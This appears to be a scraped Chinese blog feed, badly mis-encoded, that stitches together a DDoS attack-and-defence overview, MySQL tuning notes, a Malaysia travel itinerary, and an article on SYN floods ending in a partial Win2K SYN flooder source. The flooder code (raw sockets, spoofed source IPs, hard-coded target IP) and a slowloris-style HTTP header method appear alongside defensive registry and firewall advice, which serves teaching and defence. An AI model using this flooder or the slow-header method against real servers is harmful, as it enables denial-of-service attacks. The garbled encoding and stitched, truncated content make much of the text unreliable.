??xml version="1.0" encoding="utf-8" standalone="yes"?> |络安全是涉及到|络各个斚w内容Q现在最为突出问题就是网l攻凅R根据近q来接触到问题,ȝ了下面几个现在比较常用网l攻L法和一些防御测试?/p>
DDos ?Distributed Denial of service , q种dh?996q_此攻M要利用合理的服务h来占用过多的服务资源Q从而服务器无法处理合法用L指o。有以下主要几种具体d手段Q?/p>
Q?QSYN z水d 原理QSYN z水d主要是利用TCP协议~陷Q通过“肉鸡”伪造地址和发送大量的半连接请求,使得L一直等待半q接h的回复。通过此方法不断耗费L有限的CPU资源和内存资源?/p>
d手段Q一般都是开发专门制造洪水攻ȝ序;E序核心主要是伪造一个TCP协议信息头和IP协议的信息头 防M手段Q?/p>
1Q用硬防火墙过滤;g防火墙明显提高防御性能Q基本能拦截95%~99%的攻M息包Q服务器依然会接受到d的信息包。缺点:只能被动提高防M性能 2Q用门户代理过滤;防M效果非常明显Q曾l试q被20G数据d。经q美国某防M门户qo后,大概只有几十K有效数据发送到服务器上。缺点:在用了防M门户后,服务端与客户端之交互延时非常严重Q?gt;1000MSQ?/p>
3Q修Ҏ务器一些网l安全参数设?如:Window
可以修改下面一些配|SynAttackProtectQTcpMaxPortsExhaustedQTcpMaxHalfOpen?
TcpMaxHalfOpenRetried{;更加详细相关配置讑֮介绍可以到网上搜索一?应该不少。系l的防M性能提高有限Q但无需要Q何投入?/p>
4Q机器群集均衡负载;q个Ҏ是一个最有效和成本最高的Ҏ。这里我׃多讲最后这个方法啦?/p>
ȝQSYNz水d主要是攻L与防御方比拼g资源和防御策略?/p>
Q?Q流量攻?/p>
原理Q流量攻M要是“肉鸡”通过对目的主机的服务端口发送大量的垃圾数据Q导致目的主机的|络堵塞。在|络上很多文章都会将SYNz水d和流量攻击视
作ؓ相同手段。从监控软g来看Q被q两U攻L候都会表Cؓ|络量暴涨D|络堵塞。其实,q两U攻ȝ|络堵塞原因是有本质上区别的。流量攻d致网
l堵塞是某些IP机器实际发送大量垃圾信息去耗尽L带宽QSYNz水dD|络堵塞是目标主机本w所有资源被伪造半q接h耗尽了,使得机器Ҏ不能
l箋接受新连接?/p>
d手段Q最单流量攻ȝ序都是将单Socket E序中的sendBuf 修改为大?4K数据块就可以了?/p>
防M手段Q?/p>
1Q用硬防火墙过滤;Ҏ服务E序现状讑֮合适策略,基本拦截95~99%的垃圾信息;量d拦截非常依靠g防火墙设定策略,有效{略会大大提高系l防御性能?/p>
2Q用门户代理过滤;参照【SYNz水d】相应描q? 3Q优化服务端E序解密法 现在一般网l上C/S 或者B/S
架构模式的程序,在系l互盔R信指o上基本都是密文。当pȝ服务端程序受到攻L候,服务的解密算法就会受到巨大压力,很容易导致服务器资源耗尽。所以,
Z提高pȝ在高压力下生存率Q选择高效解密Ҏ是很有必要?/p>
4Q增加服务端E序|络异常处理 在一定高压力情况下,除了需要确保服务端?#8221;E_?#8220;Q还需要确保系l的”准确?#8220;。对一些网l异怸断的情况Q制定一些补救性措施和机制。特别是一些实时性系l特别重要,按过往l验在一定压力情况下会出现非常离谱错误?/p>
5Q增加服务端E序防M{略 ׃DDos
d往往都用IP地址”ƺ骗“技术,在行业里面暂时没有比较有效的反击Ҏ。所以,现在最行防M{略是服务?#8221; 装死 “。n边其他hUCؓ”
信息忽略回馈机制“Q主要思想是当系l收C个不能识别的指o时候,立即掉弃q接和不对连接作ZQ何反馈信息。除?#8221;
信息忽略回馈机制“外,q有一些商业上和业务上防M{略。如Q?账户锁定{略QIP锁定{略和服务器认证{略{?/p>
ȝQ流量攻L验防御方|络量Q系l安全策略,pȝ异常处理和系l性能。在目旉允许情况下,q个试是必不可的?/p>
Q?QHTTPz水d 原理QHTTPz水是利用【应用层】中HTTP协议~陷Q不断发送没有完成的HTTP_直到你的服务器耗尽所有的资源?/p>
d手段Q?/p>
1Q首先向服务器发出如下HTTP头部Q?br />
GET / HTTP/1.1\r\n 2Q然后每隔一定时间l发Z个自定义的头部: 防M手段Q?/p>
1Q减HTTP头部q接时的时_其是HTTPh中GET、HEADҎ的超时时间。注意一般POSTҎ的头部包含了上传的内容,所以传输时间会很长Q要避免合法的h提前关闭?br />
2Q限定单个IP的连接数。缺ҎQ有些学校、大公司都通过NAT方式q接互联|,所以同一个IP的连接数会很多?br />
3Q特别针对ApacheQ将Nginx此类反向服务器放在apache前面Q用来撑q接Q代理合法的h?/p>
4Q用硬防火墙过滤; 5Q用门户代理过滤; ȝQHTTP协议的缺陷其实是TCP/IP协议~陷的一个g伸,只是表现在应用层|络协议面上?/p>
本h水^有限Q若有不准确地方Ƣ迎提出?/p>
1Q将 innodb_flush_log_at_trx_commit 配置讑֮?Q按q往l验讑֮?Q插入速度会有很大提高?/span>
2Q将 innodb_autoextend_increment 配置׃默认8M 调整?128M
3Q将 innodb_log_buffer_size 配置׃默认1M 调整?16M
4Q将 innodb_log_file_size 配置׃默认 8M 调整?128M
l过以上调整Q?wbr>pȝ插入速度׃原来10分钟几万条提升至1U?W左右Q注Q?wbr>以上参数调整Q需要根据不同机器来q行实际调整。特别是 innodb_flush_log_at_trx_
Q?Q提升数据库d速度Q?wbr>重数据库层面上读取速度提升主要׃几点Q简化SQL?wbr>加烦引和分区Q?l过查程序SQL已经是最单,查询条g上已l增加烦引?wbr>我们只能用武器:表分区?br />
l过以上调整Q暂时没能体现出pȝd速度提升Q基本都是在 2~3U完?K数据更新?/div>
]]> DDos--分布式拒l服务攻?/h3>
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET
CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n
X-a: b\r\n
ȝҎHTTP协议QHTTPh头部与请求主体的分隔是多一个\r\n。也是说上q的HTTP头部一直没有发送完成,HTTP服务器会{在那里准备
接受余下的内容,一直到接受时Q然后关闭连接。默认的apached头部的超时据说是3000U。Apache的情冉|Q每接受一个连接新开一个进E?
或线E,q样新接受一个连接的资源消耗很大,我测试的q结果是Q一般apache只需在超时时间内Q持l发?00个以上的包,apache׃会再接收
新的q接了?/p>
预计大概 1Q?5 分左叛_以入?tune hotel ( tune hotel 地址: Tune Hotels - KLIA-LCCT Airport Within Low Cost Carrier Terminal ( near Pos Malaysia ) Lot PT 29, Jalan KLIA S4, 64000 KLIA Selangor Darul Ehsan)
Tel: 006(03) 79625888 [ Mon - Fri 9:00am - 9:00 pm (excluding public holiday)]
其实,在LCCT 的tune hotel非常Ҏ找,因ؓ你在国际到达Z出来以后Q向左看可以看?tune hotel 的招牌。当Ӟ我会在国际到辑的出口接你机?br />
W二?2010-12-11
6Q?0 起床
7:30-8:30 坐飞机到 吉隆?> 兰卡?
9Q?0 到酒?Awana Porto Malai Hotel
酒店名称: Awana Porto Malai Hotel
酒店地址: Tanjung Malai
Tel : +44 (0)20 3027 7900
9:30 参加LGK 半天游[在酒店大堂看看有什么团可以参加?]
可以选内?
东方?~R(天空之桥)
瓜镇购物-巧克?br />
雄鹰q场
环岛?按同事讲是去D,无h岛度玩和游?
17:00 完成LGK 半天?d晚饭.Pantai Chenang(珍南沙W) 灯笼鲜/真浪?br />
晚上d[虎虾]cLv?需要查找下有哪些店是好吃的)
W三?2010-12-12
在兰卡威,参加潜水zd
17:00 完成LGK 半天?d晚饭.暂时没选到.
W四?2010-12-13
13:25-14:30 兰卡?吉隆?
在one U Z购买,明天上geting 的R?br />
回我宿舍Q顺便去下黑风洞batu Caves (黑风z?(gua galeri)
游览?batu Caves ?我们Z吃肉骨茶,之后可以去KL 最J华的bukit bindang走走;再去KLCC看夜?br />
[q天行程有点儿赶,可能会取消batu Caves的游览]
W五?2010-12-14 吉隆坡一?/strong>
上云?可以玩一?br />
一下R,p买当天晚下Genting 的R?再坐~R上云?
晚上下来,去mid valley 的madam kwan吃椰饭
W六?2010-12-15 吉隆?q州
上午自由zd : 在One U ,可以M手信和购?
12:30 坐R到机?上机回广?(可以在免E区看看有咩岩的商品)
]]>
SYN Flood是当前最行的DoSQ拒l服务攻击)与DDoSQ分布式拒绝服务dQ的方式之一Q这是一U利用TCP协议~陷Q发送大量伪造的TCPq接hQ从而得被d方资源耗尽QCPU满负h内存不Q的d方式。要明白q种d的基本原理,q是要从TCPq接建立的过E开始说P大家都知道,TCP与UDP不同Q它是基于连接的Q也是_Z在服务端和客L之间传送TCP数据Q必d建立一个虚拟电路,也就是TCPq接Q徏立TCPq接的标准过E是q样的:
首先Q请求端Q客LQ发送一个包含SYN标志的TCP报文QSYN卛_步(SynchronizeQ,同步报文会指明客L使用的端口以及TCPq接的初始序P
W二步,服务器在收到客户端的SYN报文后,返回一个SYN+ACK的报文,表示客户端的h被接受,同时TCP序号被加一QACK即确认(AcknowledgementQ?br />
W三步,客户端也q回一个确认报文ACKl服务器端,同样TCP序列可加一Q到此一个TCPq接完成。以上的q接q程在TCP协议中被UCؓ三次握手QThree-way HandshakeQ。问题就出在TCPq接的三ơ握手中Q假设一个用户向服务器发送了SYN报文后突然死机或掉线Q那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(W三ơ握手无法完成)Q这U情况下服务器端一般会重试Q再ơ发送SYN+ACKl客LQƈ{待一D|间后丢弃q个未完成的q接Q这D|间的长度我们UCؓSYN TimeoutQ一般来说这个时间是分钟的数量Q大Uؓ30U?2分钟Q;一个用户出现异常导致服务器的一个线E等?分钟q不是什么很大的问题Q但如果有一个恶意的d者大量模拟这U情况,服务器端ؓ了维护一个非常大的半q接列表而消耗非常多的资?---C万计的半q接Q即使是单的保存q历也会消耗非常多的CPU旉和内存,何况q要不断对这个列表中的IPq行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的l果往往是堆栈溢出崩?--即服务器端的系l够强大,服务器端也将忙于处理d者伪造的TCPq接h而无暇理睬客L正常hQ毕竟客L的正常请求比率非怹)Q此时从正常客户的角度看来,服务器失d应,q种情况我们UCQ服务器端受CSYN FlooddQSYNz水dQ?br />
从防御角度来_有几U简单的解决Ҏ:
W一U是~短SYN Timeout旉Q由于SYN Floodd的效果取决于服务器上保持的SYN半连接数Q这个?SYNd的频?x SYN TimeoutQ所以通过~短从接收到SYN报文到确定这个报文无效ƈ丢弃改连接的旉Q例如设|ؓ20U以下(q低的SYN Timeout讄可能会媄响客L正常讉KQ,可以成倍的降低服务器的负荷?br />
W二U方法是讄SYN CookieQ就是给每一个请求连接的IP地址分配一个CookieQ如果短旉内连l受到某个IP的重复SYN报文Q就认定是受CdQ以后从q个IP地址来的包会被一概丢弃?br />
可是上述的两U方法只能对付比较原始的SYN FlooddQ羃短SYN Timeout旉仅在Ҏd频度不高的情况下生效QSYN Cookie更依赖于Ҏ使用真实的IP地址Q如果攻击者以C/U的速度发送SYN报文Q同时利用SOCK_RAW随机改写IP报文中的源地址Q以上的Ҏ毫无用武之地?br />
W二部䆾 SYN Flooder源码解读
下面我们来分析SYN Flooder的程序实现。首先,我们来看一下TCP报文的格式:
0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| QP首部 | Q_EQ首?nbsp; | Q_EQ数据段 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
图一 TCP报文l构
如上图所C,一个TCP报文׃个部分构成:20字节的IP首部?0字节的TCP首部与不定长的数据段Q(实际操作时可能会有可选的IP选项Q这U情况下TCP首部向后gQ由于我们只是发送一个SYN信号Qƈ不传递Q何数据,所以TCP数据DؓI。TCP首部的数据结构ؓQ?br />
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位源端口?nbsp; | 十六位目标端口号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位序列?nbsp; |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位认?nbsp; |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 四位 | |U|A|P|R|S|F| |
| 首部 |六位保留?|R|C|S|S|Y|I| 十六位窗口大?nbsp; |
| 长度 | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位校验和 | 十六位紧急指?nbsp; |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 选项Q若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 数据Q若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
图二 TCP首部l构
ҎTCP报文格式Q我们定义一个结构TCP_HEADER用来存放TCP首部Q?br />
typedef struct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端?br />
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长?6位保留字中的4?br />
unsigned char th_flag; //2 位保留字+6位标志位
USHORT th_win; //16位窗口大?br />
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏U量
}TCP_HEADER;
通过以正的数据填充q个l构q将TCP_HEADER.th_flag赋gؓ2Q二q制?0000010Q我们能刉一个SYN的TCP报文Q通过大量发送这个报文可以实现SYN Flood的效果。但是ؓ了进行IPƺ骗从而隐藏自己,也ؓ了躲避服务器的SYN Cookie查,q需要直接对IP首部q行操作Q?br />
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 版本 | 长度 | 八位服务cd | 十六位总长?nbsp; |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位标?nbsp; | 标志| 十三位片偏移 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 八位生存旉 | 八位协议 | 十六位首部校验和 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位源テQ地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位目的QP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 选项Q若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
图三 IP首部l构
同样定义一个IP_HEADER来存放IP首部
typedef struct _iphdr
{
unsigned char h_verlen; //4 位首部长?4位IP版本?br />
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节Q?br />
unsigned short ident; //16 位标?br />
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8 位生存时?TTL
unsigned char proto; //8位协议号(TCP, UDP 或其?
unsigned short checksum; //16位IP首部校验?br />
unsigned int sourceIP; //32 位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));建立一个原始套接口Q由于我们的IP源地址是伪造的Q所以不能指望系l帮我们计算IP校验和,我们得在在setsockopt中设|IP_HDRINCL告诉pȝ自己填充IP首部q自p校验和Q?br />
flag=TRUE;
setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
IP校验和的计算Ҏ是:首先IP首部的校验和字段设ؓ0QIP_HEADER.checksum=0Q?然后计算整个IP首部Q包括选项Q的二进制反码的和,一个标准的校验和函数如下所C:
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
q个函数q没有经qQ何的优化Q由于校验和函数是TCP/IP协议中被调用最多函C一Q所以一般说来,在实现TCP/IP栈时Q会Ҏ操作pȝҎ验和函数q行优化。TCP首部验和与IP首部校验和的计算Ҏ相同Q在E序中用同一个函数来计算。需要注意的是,׃TCP首部中不包含源地址与目标地址{信息,Z保证TCP校验的有效性,在进行TCP校验和的计算Ӟ需要增加一个TCP伪首部的校验和,定义如下Q?br />
struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; // |空
char ptcl; //协议cd
unsigned short tcpl; //TCP长度
}psd_header;
然后我们这两个字段复制到同一个缓冲区SendBuf中ƈ计算TCP校验和:
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
计算IP校验和的时候不需要包括TCP伪首部:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
再将计算q校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了Q?br />
memcpy(SendBuf,&ip_header,sizeof(ip_header));
sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
因ؓ整个TCP报文中的所有部分都是我们自己写入的Q操作系l不会做Mq涉Q,所以我们可以在IP首部中放|随机的源IP地址Q如果伪造的源IP地址实有h使用Q他在接收到服务器的SYN+ACK报文后会发送一个RST报文Q标志位?0000100Q,通知服务器端不需要等待一个无效的q接Q可是如果这个伪造IPq没有绑定在M的主ZQ不会有M讑֤去通知L该连接是无效的(q正是TCP协议的缺PQ主机将不断重试直到SYN Timeout旉后才能丢弃这个无效的半连接。所以当d者用主机分布很E疏的IP地址D进行伪装IP的SYN FlooddӞ服务器主机承受的负荷会相当的高,Ҏ试Q一台PIII 550MHz+128MB+100Mbps的机器用经q初步优化的SYN FlooderE序可以?6,000?U的速度发送TCP SYN报文Q这Ld力已l以拖垮大部分WEB服务器了。稍微动动脑{我们就会发玎ͼ惛_SYN FlooderE序q行优化是很单的Q从E序构架来看Q攻L循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思\是提高校验和计算的速度Q我甚至见过用汇~代码编写的校验和函敎ͼ实际上,有另外一个变通的Ҏ可以L实现优化而又不需要高q~程技巧和数学知识Q(老实说吧Q我数学比较?PQ,我们仔细研究了两个不同源地址的TCP SYN报文后发玎ͼ两个报文的大部分字段相同Q比如目的地址、协议等{)Q只有源地址和校验和不同Q如果ؓ了隐蔽,源端口也可以有变化,但是q不影响我们法优化的思\Q,如果我们事先计算好大量的源地址与校验和的对应关p表Q如果其他的字段有变化也可以加入q个表)Q等计算完毕了攻ȝ序就只需要单U的l合~冲区ƈ发送(用指针来直接操作~冲区的特定位置Q从事先计算好的对应关系表中d数据Q替换缓冲区相应字段Q,q种单的工作完全取决于系l发?IP包的速度Q与E序的效率没有Q何关p,q样Q即使是CPU主频较低的主Z能快速的发送大量TCP SYNd包。如果考虑到缓冲区拼接的时_甚至可以定义一个很大的~冲区数l,填充完毕后再发送(雏鹰l这U方法想了一个很贴切的比喻:火箭炮装弹虽然很慢,但是一旦炮弹上膛了以后可以连l猛烈地发射?Q?br />
W三部分 SYN Floodd的监与防M初探
对于SYN FlooddQ目前尚没有很好的监和防MҎQ不q如果系l管理员熟悉dҎ和系l架构,通过一pd的设定,也能从一定程度上降低被攻ȝl的负荷Q减轻负面的影响。(q正是我撰写本文的主要目的)一般来_如果一个系l(或主机)负荷H然升高甚至失去响应Q用Netstat 命o能看到大量SYN_RCVD的半q接Q数?gt;500或占总连接数?0%以上Q,可以认定Q这个系l(或主机)遭到了SYN Floodd。遭到SYN Floodd后,首先要做的是取证Q通过Netstat –n –p tcp >resault.txt记录目前所有TCPq接状态是必要的,如果有嗅探器Q或者TcpDump之类的工P记录TCP SYN报文的所有细节也有助于以后追查和防MQ需要记录的字段有:源地址、IP首部中的标识、TCP首部中的序列受TTL值等Q这些信息虽然很可能是攻击者伪造的Q但是用来分析攻击者的心理状态和dE序也不无帮助。特别是TTL|如果大量的攻dg来自不同的IP但是TTL值却相同Q我们往往能推断出d者与我们之间的\由器距离Q至也可以通过qo特定TTL值的报文降低被攻ȝl的负荷Q在q种情况下TTLgd报文不同的用户就可以恢复正常讉KQ前面曾l提到可以通过~短SYN Timeout旉和设|SYN Cookie来进行SYNd保护Q对于Win2000pȝQ还可以通过修改注册表降低SYN Flood的危宻I在注册表中作如下改动Q?br />
首先Q打开regeditQ找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters增加一个SynAttackProtect的键|cd为REG_DWORDQ取D围是0-2Q这个值决定了pȝ受到SYNd旉取的保护措施Q包括减系lSYN+ACK的重试的ơ数{,默认值是0Q没有Q何保护措施)Q推荐设|是2Q增加一个TcpMaxHalfOpen的键|cd为REG_DWORDQ取D围是100-0xFFFFQ这个值是pȝ允许同时打开的半q接Q默认情况下WIN2K PRO和SERVER?00QADVANCED SERVER?00Q这个值很隄定,取决于服务器TCP负荷的状况和可能受到的攻d度,具体的值需要经q试验才能决定。增加一个TcpMaxHalfOpenRetried的键|cd为REG_DWORDQ取D围是 80-0xFFFFQ默认情况下WIN2K PRO和SERVER?0QADVANCED SERVER?00Q这个值决定了在什么情况下pȝ会打开SYNd保护。我们来分析一下Win2000的SYNd保护机制Q正常情况下QWin2K对TCPq接的三ơ握手有一个常规的讄Q包括SYN Timeout旉、SYN-ACK的重试次数和SYN报文从\由器到系l再到Winsock的g时等Q这个常规设|是针对pȝ性能q行优化的(安全和性能往往怺矛盾Q所以可以给用户提供方便快捷的服务;一旦服务器受到dQSYN半连接的数量过TcpMaxHalfOpenRetried的设|,pȝ会认己受CSYN FlooddQ此时设|在SynAttackProtect键g的选项开始作用,SYN Timeout旉被减短,SYN-ACK的重试次数减,pȝ也会自动对缓冲区中的报文q行延时Q避免对TCP/IP堆栈造成q大的冲击,力图攻d宛_到最低;如果d强度不断增大Q超q了TcpMaxHalfOpen|此时pȝ已经不能提供正常的服务了Q更重要的是保证pȝ不会崩溃Q所以系l将会丢弃Q何超出TcpMaxHalfOpenD围的SYN报文Q应该是使用随机丢包{略Q,保证pȝ的稳定性。所以,对于需要进行SYNd保护的系l,我们可以试/预测一下访问峰值时期的半连接打开量,以其作ؓ参考设定TcpMaxHalfOpenRetried的|保留一定的余量Q,然后再以TcpMaxHalfOpenRetried?.25倍作?TcpMaxHalfOpen|q样可以最大限度地发挥WIN2K自n的SYNd保护机制。通过讄注册表防御SYN FlooddQ采用的?#8220;挨打”的策略,无论pȝ如何强大Q始l不能光靠挨打支撑下去,除了挨打之外Q?#8220;退?#8221;也是一U比较有效的Ҏ?br />
退让策略是ZSYN Floodd代码的一个缺P我们重新来分析一下SYN Floodd者的程QSYN FloodE序有两U攻L式,ZIP的和Z域名的,前者是d者自p行域名解析ƈIP地址传递给dE序Q后者是dE序自动q行域名解析Q但是它们有一Ҏ相同的,是一旦攻d始,不会再q行域名解析Q我们的切入Ҏ是这里:假设一台服务器在受到SYN Floodd后迅速更换自qIP地址Q那么攻击者仍在不断攻ȝ只是一个空的IP地址Qƈ没有MLQ而防御方只要DNS解析更改到新的IP地址p在很短的旉内(取决于DNS的刷新时_恢复用户通过域名q行的正常访问。ؓ了迷惑攻击者,我们甚至可以攄一?#8220;牺牲”服务器让d者满于d?#8220;效果”Q由于DNS~冲的原因,只要d者的览器不重vQ他讉K的仍然是原先的IP地址Q?br />
同样的原因,在众多的负蝲均衡架构中,ZDNS解析的负载均衡本w就拥有对SYN Flood的免疫力Q基于DNS解析的负载均衡能用Lh分配C同IP的服务器L上,d者攻ȝ永远只是其中一台服务器Q虽然说d者也能不断去q行DNSh从而打破这U?#8220;退?#8221;{略Q但是一来这样增加了d者的成本Q二来过多的DNSh可以帮助我们q查d者的真正t迹QDNSh不同?SYNdQ是需要返回数据的Q所以很难进行IP伪装Q。对于防火墙来说Q防御SYN Floodd的方法取决于防火墙工作的基本原理Q一般说来,防火墙可以工作在TCP层之上或IP层之下,工作在TCP层之上的防火墙称为网兛_防火墙,|关型防火墙与服务器、客h之间的关pd下图所C:
外部TCPq接 内部TCPq接
[客户机] =================>[防火墙] =================>[服务器]
如上图所C,客户Z服务器之间ƈ没有真正的TCPq接Q客h与服务器之间的所有数据交换都是通过防火墙代理的Q外部的DNS解析也同h向防火墙Q所以如果网站被dQ真正受到攻ȝ是防火墙Q这U防火墙的优ҎE_性好Q抗打击能力强,但是因ؓ所有的TCP报文都需要经q防火墙转发Q所以效率比较低׃客户机ƈ不直接与服务器徏立连接,在TCPq接没有完成旉火墙不会d后台的服务器建立新的 TCPq接Q所以攻击者无法越q防火墙直接d后台服务器,只要防火墙本w做的够强壮,q种架构可以抉|相当强度的SYN Floodd。但是由于防火墙实际建立的TCPq接Cؓ用户q接数的两倍(防火墙两端都需要徏立TCPq接Q,同时又代理了所有的来自客户端的TCPh和数据传送,在系l访问量较大Ӟ防火墙自w的负荷会比较高Q所以这U架构ƈ不能适用于大型网站。(我感觉,对于q样的防火墙架构Q?TCP_STATEd估计会相当有?Q?br />
工作在IP层或IP层之下的防火墙(路由型防火墙Q工作原理有所不同Q它与服务器、客h的关pd下图所C:
[防火墙] 数据包修改{?br />
[客户机]========|=======================>[服务器]
TCPq接
客户机直接与服务器进行TCPq接Q防火墙L是\由器的作用,它截h有通过的包q进行过滤,通过qo的包被{发给服务器,外部的DNS解析也直接指向服务器Q这U防火墙的优Ҏ效率高,可以适应100Mbps-1Gbps的流量,但是q种防火墙如果配|不当,不仅可以让攻击者越q防火墙直接d内部服务器,甚至有可能放大攻ȝ强度Q导致整个系l崩溃?br />
在这两种基本模型之外Q有一U新的防火墙模型Q我个h认ؓq是比较巧妙的,它集中了两种防火墙的优势Q这U防火墙的工作原理如下所C:
W一阶段Q客hh与防火墙建立q接Q?br />
SYN SYN+ACK ACK
[客户机]---- >[防火墙] => [防火墙]-------- >[客户机] => [客户机]--- >[防火墙]
W二阶段Q防火墙伪装成客h与后台的服务器徏立连?br />
[防火墙]< =========== >[服务器]
TCPq接
W三阶段Q之后所有从客户机来的TCP报文防火墙都直接转发l后台的服务器防火墙转发
[客户机]< ======|======= >[服务器]
TCPq接
q种l构吸取了上两种防火墙的优点Q既能完全控制所有的SYN报文Q又不需要对所有的TCP数据报文q行代理Q是一U两全其的Ҏ?nbsp;
q来Q国外和国内的一些防火墙厂商开始研I带宽控制技术,如果能真正做C格控制、分配带宽,p很大E度上防御绝大多数的拒绝服务dQ我们还是拭目以待吧?br />
附录QWin2000下的SYN FloodE序
改编自Linux下Zakath~写的SYN Flooder
~译环境QVC++6.0,~译旉要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
// //
// SYN Flooder For Win2K by Shotgun //
// //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"http://被攻ȝIP
#define FAKE_IP "10.168.150.1" //伪装IP的v始|本程序的伪装IP覆盖一个BcȝD?br />
#define STATUS_FAILED 0xFFFF //错误q回?br />
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4 位首部长?4位IP版本?br />
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节Q?br />
unsigned short ident; //16位标?br />
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8 位生存时?TTL
unsigned char proto; //8位协?(TCP, UDP 或其?
unsigned short checksum; //16位IP首部校验?br />
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
struct // 定义TCP伪首?br />
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议cd
unsigned short tcpl; //TCP长度
}psd_header;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端?br />
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长?6位保留字
unsigned char th_flag; //6位标志位
